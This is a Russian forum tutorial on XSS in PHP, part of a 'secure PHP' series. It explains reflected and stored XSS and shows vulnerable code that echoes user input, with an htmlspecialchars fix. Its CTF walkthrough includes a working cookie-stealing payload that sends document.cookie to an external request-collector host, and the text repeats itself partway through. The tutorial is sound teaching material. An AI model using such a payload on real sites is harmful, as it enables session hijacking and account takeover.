Всем Салам. Сегодня уже 2 часть из цикла статей безопасный PHP. И эта статья обещает быть информативной, особенно для новичков.
И чтобы было представление о XSS, я разделю статью на 2 части, где в 1ом разберем, что за зверь этот XSS. А во втором рассмотрим, как она эксплуатируется в PHP и как от этого защититься.
[0] – XSS. Что такое?
Вообще XSS делится на 2 типа:
И как видим в задании сказано украсть куки администратора и зайти с их помощью.
И дали простенький форум, где можем отправлять сообщения. Ну тут сразу можно понять, что сообщение нужно отправить скрипт, при клике на который мы получим куки. Специально для такие целей мы можно использовать, например сайт
Здесь формируем, такой скрипт для отправки:
После чего отправляем, и когда админом страница будет открыта, мы получаем куки:
И если эти данные мы подставим в куки, то статус посетителя поменяется на Admin.
На этом про XSS говорить закончим, если что-то непонятно спрашивайте или гуглите, инфы много.
[1] – Эксплуатация XSS уязвимостей в PHP
Давайте сразу перейдем к практике и посмотрим, при каком случае, XSS атака может сработать.
У нас имеется такой кусок кода, который не экранирует исходящие данные:
И как вы видите, в данном случае наш скрипт срабатывает.
[2] – Как обезопасить PHP от XSS
И как закрыть эксплуатацию данной уязвимости, предельно просто все это делается, это просто экранируем:
И наш скрипт мы получаем, как обычный текст, благодаря htmlspecialchars, ENT_QUOTES - преобразует как двойные, так и одинарные кавычки. И будет вам счастье.
Ну для примера, еще какой-нибудь немецкий сайт:
На этом с XSS закончу. Надеюсь получилось не плохо. Вопросы пишите в комментах. Спасибо.
И чтобы было представление о XSS, я разделю статью на 2 части, где в 1ом разберем, что за зверь этот XSS. А во втором рассмотрим, как она эксплуатируется в PHP и как от этого защититься.
[0] – XSS. Что такое?
Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. А знаете почему не CSS? Правильно, потому что эта аббревиатура занята каскадными стилями.
Вообще XSS делится на 2 типа:
- Reflected (непостоянные). Давайте разберем этот тип подробнее. Этот тип XSS самый популярный, да и самый часто встречающийся среди всех инъекций. Тип атаки довольно простой, срабатывает и отсутствии фильтрации входных данных, чаще всего через какие-то формы на сайте. Например,
Код:
site.ru/search.php?q=<script>alert(‘r0hack’)</script>
- Stored (хранимые). В этом случае, мы можем загрузить свой код на сервер и каждый раз при открытии страницы с данным кодом, она запускается и наносит сокрушительный удар, например, как я говорил выше, ворует куки и можем выдать себя за другого пользователя. А теперь давайте разберем таск, про который я писал выше.
Ссылка скрыта от гостей
И как видим в задании сказано украсть куки администратора и зайти с их помощью.
И дали простенький форум, где можем отправлять сообщения. Ну тут сразу можно понять, что сообщение нужно отправить скрипт, при клике на который мы получим куки. Специально для такие целей мы можно использовать, например сайт
Ссылка скрыта от гостей
где она формирует ссылку, и при переходе по которому крадет данные заголовков, куки и все такое. Давайте так и сделаем, и замаскируем наше сообщение под фотографию и отправим.Здесь формируем, такой скрипт для отправки:
Код:
<script>document.write("<img src='https://hookb.in/Z8a74azD?cook="+document.cookie+"'></img>")</script>
После чего отправляем, и когда админом страница будет открыта, мы получаем куки:
И если эти данные мы подставим в куки, то статус посетителя поменяется на Admin.
На этом про XSS говорить закончим, если что-то непонятно спрашивайте или гуглите, инфы много.
[1] – Эксплуатация XSS уязвимостей в PHP
Давайте сразу перейдем к практике и посмотрим, при каком случае, XSS атака может сработать.
У нас имеется такой кусок кода, который не экранирует исходящие данные:
PHP:
$query = $_GET['query'] ?? 0;
echo 'Найдено: '. $query;
[2] – Как обезопасить PHP от XSS
И как закрыть эксплуатацию данной уязвимости, предельно просто все это делается, это просто экранируем:
PHP:
$query = $_GET['query'] ?? 0;
$query = htmlspecialchars($query, ENT_QUOTES);
echo 'Найдено: '. $query;
И наш скрипт мы получаем, как обычный текст, благодаря htmlspecialchars, ENT_QUOTES - преобразует как двойные, так и одинарные кавычки. И будет вам счастье.
Ну для примера, еще какой-нибудь немецкий сайт:
На этом с XSS закончу. Надеюсь получилось не плохо. Вопросы пишите в комментах. Спасибо.
Последнее редактирование модератором: